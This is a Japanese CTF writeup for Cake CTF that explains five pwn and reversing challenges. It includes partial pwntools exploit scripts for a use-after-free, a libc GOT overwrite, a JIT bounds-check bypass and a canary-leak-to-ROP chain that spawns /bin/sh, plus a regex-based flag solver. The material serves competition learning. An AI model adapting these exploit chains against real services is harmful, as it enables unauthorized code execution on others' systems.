過密です

タイトルしょうもなさすぎたので変えました

Cake CTF writeup

初めに

zer0ptsの一部のメンバーが主催したCake CTFにKUDoSで参加して6位/157チームでした 自分の解いた問題のwriteupを書きます。

実際のソルバの一部を載せていますが、完全版が見たい方はgithubを参照くださいまし。

github.com

UAF4b(pwn)

113pts 75solves

問題名の通りUAFを使った初心者向けの問題です。
問題ファイルの配布はなし、サーバに接続すると丁寧な誘導があります。
関数ポインタを使用した構造体のUAFがあるので、一度freeをしたあとその関数ポインタをsystem関数のアドレスにして関数を呼んでみましょう。
うまくいかなくても4のコマンドでheapアドレスのダンプが見れるのも嬉しいですね。

exploit コード(一部)

def exploit():
    conn.recvuntil("<system> = ")
    addr_system = int(conn.recvline(), 16)
    conn.sendlineafter(">", "3")
    conn.sendlineafter(">", "2")
    conn.sendlineafter(":", p64(addr_system))
    conn.sendlineafter(">", "2")
    conn.sendlineafter(":", "/bin/sh")
    conn.sendlineafter(">", "1")

    conn.interactive()

if __name__ == "__main__":
    exploit()

GOT it(pwn)

165pts 32solves

main関数のアドレスとlibcのアドレスを教えてもらえて、一度だけ任意アドレスへの書き込みが許されています。
が、バイナリがFull RELROなので実行バイナリのアドレスを使って関数フックをすることは難しいです。
任意アドレス書き込みの後に呼ばれるputsの挙動をgdbで追うと関数アドレスをメモリ上から取ってきてそのアドレスに飛ぶ処理があります。

  0x7ffff7dec460 <*ABS*+0xa27b0@plt>      endbr64 
  0x7ffff7dec464 <*ABS*+0xa27b0@plt+4>    bnd jmp qword ptr [rip + 0x1c5c3d] <__strlen_avx2>

rip+0x1c5c3dのメモリを見ると

0x7ffff7fb20a8 <*ABS*@got.plt>: 0x00007ffff7f52660

なるほど、この値を書き換えてあげればripを取れそうですね。

exploit コード(一部)

def exploit():
    conn.recvuntil(" = ")
    addr_main = int(conn.recvline(),16)
    conn.recvuntil(" = ")
    libc_printf = int(conn.recvline(),16)

    libc_base = libc_printf - off_printf
    libc_system = libc_base + off_system
    print(hex(libc_base))
    test = libc_base + (0x7ffff7fb20a8 - 0x7ffff7dc7000)
    conn.sendlineafter(": ", hex(test))
    conn.sendlineafter(": ", hex(libc_system))
    conn.sendlineafter(": ", "/bin/sh")
    conn.interactive()

JIT4b(pwn)

175pts 28solves

JIT最適化の脆弱性をテーマにした問題です。
realworldだとブラウザのJSエンジンなどで見かけるような話題かと思います。自分も少しここら辺のトピックに触れたことがあるのですが、JITコンパイラのコードを読むのとかが結構大変で心が折れた記憶がありますが、この問題は丁寧にコードにコメントアウトがしてあっていいですね。勉強になります。

以下は問題のバナーです。

Today, let's learn about bounds-checking elimination bug!
JIT is frequently abused in browser exploitation.

The JIT compiler is going to optimize the following function:

1| function f(x) {
2|   let arr = [3.14, 3.14, 3.14];
3|   <YOUR CODE GOES HERE>
4|   return arr[x];
5| }

You can apply some basic calculations on `x`, for example:

1| function f(x) {
2|   let arr = [3.14, 3.14, 3.14];
3|   x = Math.min(x, 2);
4|   x = Math.max(x, 0);
5|   return arr[x];
6| }

In the code above, JIT will remove the bound check on line 5
because JIT knows `x` is always in Range(0, 2).

However, in the code below, JIT will not remove the bound check
because the speculated range for `x` is Range(-inf, 2),
which may cause (negative) out-of-bound access.

1| function f(x) {
2|   let arr = [3.14, 3.14, 3.14];
4|   x = x * 123;
3|   x = Math.max(x, 2);
5|   return arr[x];
6| }

Your goal is to deceive JIT speculation and access out-of-bound.

上記の通り、自分で擬似コードを作りJITの最適化を働かせて、その上で配列の範囲外参照を行うことがゴールとなります。

コードをよく見ると各種演算ではオーバフローが起きていないかチェックしているのですが、割り算のところだけ少し変わったチェックをしていて怪しいです。

  Range& operator+=(const int& rhs) {
    if (__builtin_sadd_overflow(min, rhs, &min)
        || __builtin_sadd_overflow(max, rhs, &max)) {
      // Integer overflow may happen
      min = numeric_limits<int>::min();
      max = numeric_limits<int>::max();
    }
    return *this;
  } 
  
  /* Abstract subtraction */
  Range& operator-=(const int& rhs) {
    if (__builtin_ssub_overflow(min, rhs, &min)
        || __builtin_ssub_overflow(max, rhs, &max)) {
      // Integer overflow may happen
      min = numeric_limits<int>::min();
      max = numeric_limits<int>::max();
    }
    return *this;
  }
  
  /* Abstract multiplication */
  Range& operator*=(const int& rhs) {
    if (rhs < 0)
      swap(min, max);
    if (__builtin_smul_overflow(min, rhs, &min)
        || __builtin_smul_overflow(max, rhs, &max)) {
      // Integer overflow may happen
      min = numeric_limits<int>::min(); 
      max = numeric_limits<int>::max(); 
    }  
    return *this;
  }
       
  /* Abstract divition */
  Range& operator/=(const int& rhs) {
    if (rhs < 0)
      *this *= -1; // This swaps min and max properly
    // There's no function named "__builtin_sdiv_overflow"
    // (Integer overflow never happens by integer division!)
    min /= abs(rhs);
    max /= abs(rhs);
    return *this;
  }

何かこれを利用できないかなあと思い、
境界値を色々投げてみると/= -2147483648の時にRangeがmin>maxになりおかしくなります。 これを使ってうまく範囲外参照を起こせる演算を考えます。

解答

Step 1. Build your function
1:Add / 2:Sub / 3:Mul / 4:Div / 5:Min / 6:Max / Others:Exit
> 4
value: -2147483648
1:Add / 2:Sub / 3:Mul / 4:Div / 5:Min / 6:Max / Others:Exit
> 3
value: -1
1:Add / 2:Sub / 3:Mul / 4:Div / 5:Min / 6:Max / Others:Exit
> 7
[+] Your function looks like this:

function f(x) {
  let arr = [3.14, 3.14, 3.14];
  x /= -2147483648;
  x *= -1;
  return arr[x];
}

Step 2. Optimize your function...
[JIT] Speculation: Range(-2147483648, 2147483647)
[JIT] Applying [ x /= -2147483648 ]
[JIT] Speculation: Range(1, 0)
[JIT] Applying [ x *= -1 ]
[JIT] CheckBound: 0 <= Range(0, -1) < 3?
      --> Yes. Eliminating bound check for performance.

Step 3. Call your optimized function
What's the argument `x` passed to `f`?
x = -2147483648
[+] f(-2147483648) --> 1.63042e-322
[+] Wow! You deceived the JIT compiler!

C++のコードは難しいですが、雰囲気と気合いで読みましょう。(?)

Not So Tiger(pwn)

239pts 14solves

C++製のバイナリです。ソースコードも配られます。
C++のバイナリは難しいですが、雰囲気と気合いで読みましょう その2
stackのBoF脆弱性がありますが、canaryが有効なのでこのままではROPに持ち込めません。なので色々工夫します。

コード内ではvariantが使われていて、このtypeをoverflowで書き換えることでやれることが少し増えます。
例えば以下のような処理を行います。

    create(2, 0xdead, "AAAA\n")
    payload = "A"*0x20
    payload += "\n"
    change(got_strdup, payload)
    show()
    conn.recvuntil("Name: ")

コード中のcreate()はバイナリ中のコマンドで言う"1. New cat"を選択するもので、第一引数からtype, age, nameのようになっています。
同様にshow()は"2. Get cat"を選択、change(age, name)は"3. Set cat"を選択するものです。
上記のコードを実行すると、type=2で変数を作成しているにもかかわらず、その後のchange()のoverflowでtype=0に書き換えることができます。するとlong型のageをchar*として認識するようになるのでshow()を実行するとgot_strdupの中身を見ることができ、libcのアドレスを取得することができます。
上記の方法でAARが可能になり、これをチェインさせることでlibcリーク->stackリーク->canaryリークのように各領域のアドレスを読み出してROPに持ち込めるようです。

が、自分はlibc内でstackアドレスを取得できることを完全に失念していて、libcリーク->heapリーク->(stack上の値をheapに書き込む)->stackリーク->canaryリークとまわりくどい手順を取りました。
typeを書き換えるとAARだけでなく、got領域付近の関数を実行することができます。というのも"3"を選択したときに呼ばれるvisit()の処理を追うと[0x407cc0+type*8]に格納されている関数アドレスを実行する流れになっています。0x407cc0はgot領域の手前に位置するのでtypeを操作するとgot領域にある関数くらいなら実行することができます。ただ使える関数が限られていること、引数が(rbp-0xb0, rbp-0x50)になることからそれほど自由度は高くないです。"2"を選択した時も同様に[0x407ca0+type*8]()を実行することができます。

"3"を選択しvisit()を呼ぶ前には必ず[rbp-0xb0] = rbp-0xb8という操作が入るのでtype=0x5fにするとstrdup(rbp-0xb0)が呼ばれてstackのアドレスをheap領域に書き込むことができます。heap領域のアドレスはlibc内のmain_arenaにあるtopなどから取得することができるのでこれをチェインさせてstackのアドレスを取得しました。

完全に手間が増えていますね。ただやってる身としてはどの関数を使おかな〜〜なんて考えるのも少し楽しかったりもします。

exploit コード(一部)

def exploit():
    # libc address leak
    create(2, 0xdead, "AAAA\n")
    payload = "A"*0x20
    payload += "\n"
    change(got_strdup, payload)
    show()
    conn.recvuntil("Name: ")

    libc_strdup = u64(conn.recvline()[:-1]+b"\x00\x00")
    libc_base = libc_strdup - off_strdup
    libc_malloc_hook = libc_base + off_malloc_hook
    top_chunk = libc_base + off_malloc_hook + 0x70
    libc_system = libc_base + off_system
    libc_binsh = libc_base + off_binsh

    # heap address leak
    create(2, 0xdead, "AAAA\n")
    payload = "A"*0x20
    payload += "\n"
    change(top_chunk, payload)
    show()
    conn.recvuntil("Name: ")
    addr_heap = conn.recvline()[:-1]
    addr_heap = u64(addr_heap + b"\x00"*(8-len(addr_heap)))

    # do strdup
    create(2, 0xdead, "AAAA\n")
    payload = "A"*0x20
    payload += "\x5f\n"
    change(0x7eadbeefdeadbeef, payload)
    change(1,"A\n")

    # stack address leak
    create(2, 0xdead, "AAAA\n")
    payload = "A"*0x20
    payload += "\n"
    change(addr_heap+0x10, payload)
    show()
    conn.recvuntil("Name: ")

    addr_stack = conn.recvline()[:-1]
    addr_stack = u64(addr_stack + b"\x00"*(8-len(addr_stack)))

    # canary leak
    create(2, 0xdead, "AAAA\n")
    payload = "A"*0x20
    payload += "\n"
    change(addr_stack+0xa0+1, payload)
    show()
    conn.recvuntil("Name: ")

    canary = conn.recv(7)
    canary = u64(b"\x00"+canary)

    payload = b"A"*0x88
    payload += p64(canary)
    payload += p64(0)*3
    payload += p64(only_ret)
    payload += p64(rdi_ret)
    payload += p64(libc_binsh)
    payload += p64(libc_system)
    payload += b"\n"

    create(0, 0xdead, payload)
    conn.sendlineafter(">> ", "4")
    print(hex(libc_base))
    print(hex(addr_heap))
    print(hex(addr_stack))
    print(hex(canary))

    conn.interactive()

rflag(rev)

204pts 20solves

16進数文字で表された長さ32のバイト列を特定する内容です。 4回正規表現を入力できてマッチする箇所のオフセットを教えてくれます。16進数文字は4bitで表せるのでそれを利用したシグネチャを投げます。
具体的には1回目に0bit目が立っている数字を、2回目には1bit目が立っている数字を、、、のようにシグネチャを投げると1回目のみに現れたオフセットにある数字は1(b0001)で1回目と2回目に現れたオフセットにある数字は3(b0011)のように特定ができます。

def exploit():
    sig = ["[13579bdf]","[2367abef]","[4567cdef]","[89abcdef]"]
    flag = [0 for x in range(0,32)]
    flag_s = ""
    for i in range(0,4):
        conn.sendlineafter(":",sig[i])
        conn.recvuntil(": [")
        arr = conn.recvuntil("]")[:-1].split(b",")
        for x in arr:
            flag[int(x)] |= (1 << i)
    for c in flag:
        flag_s += "%x"%c
    print(flag_s)
    conn.sendlineafter("?\n", flag_s)
    conn.interactive()

チームメイトのarataくんが概要掴んでslackに投げていてくれたので、そのsolverを書きました。
Rust製バイナリだったみたいなのですが、自分は全くバイナリ読まず触れずで終わりました。

どうでもいいのですが小学生の時、この問題の原理と同じなのですが複数枚の数字が書かれたカードの中から1枚ずつこのカードに書いてるか否かを聞いて誕生日の日付を当ててエスパーを名乗る教育実習生がいたのを思い出しました。

おわりに

久しぶりにがっつりCTFに時間を割きました。36時間のうち8時間睡眠くらいだったと思います。 Not So Tigerでかなりハマってしまったのですが、睡眠後みたらあっさり解けたのでどんなに長期間でも睡眠は大事というのを再度を思い知らされました。
CTF毎週参加するのも楽しいのですが、復習とかで他のことに手が回らなくなる、がっつり勉強・修行期間がとりたくなる影響でここ数ヶ月あまり参加できていませんでしたが、楽しいCTFに参加するとやっぱりもっと参加したいなという気持ちになります。

運営の皆さん、他の参加者、チームメンバーありがとうございました。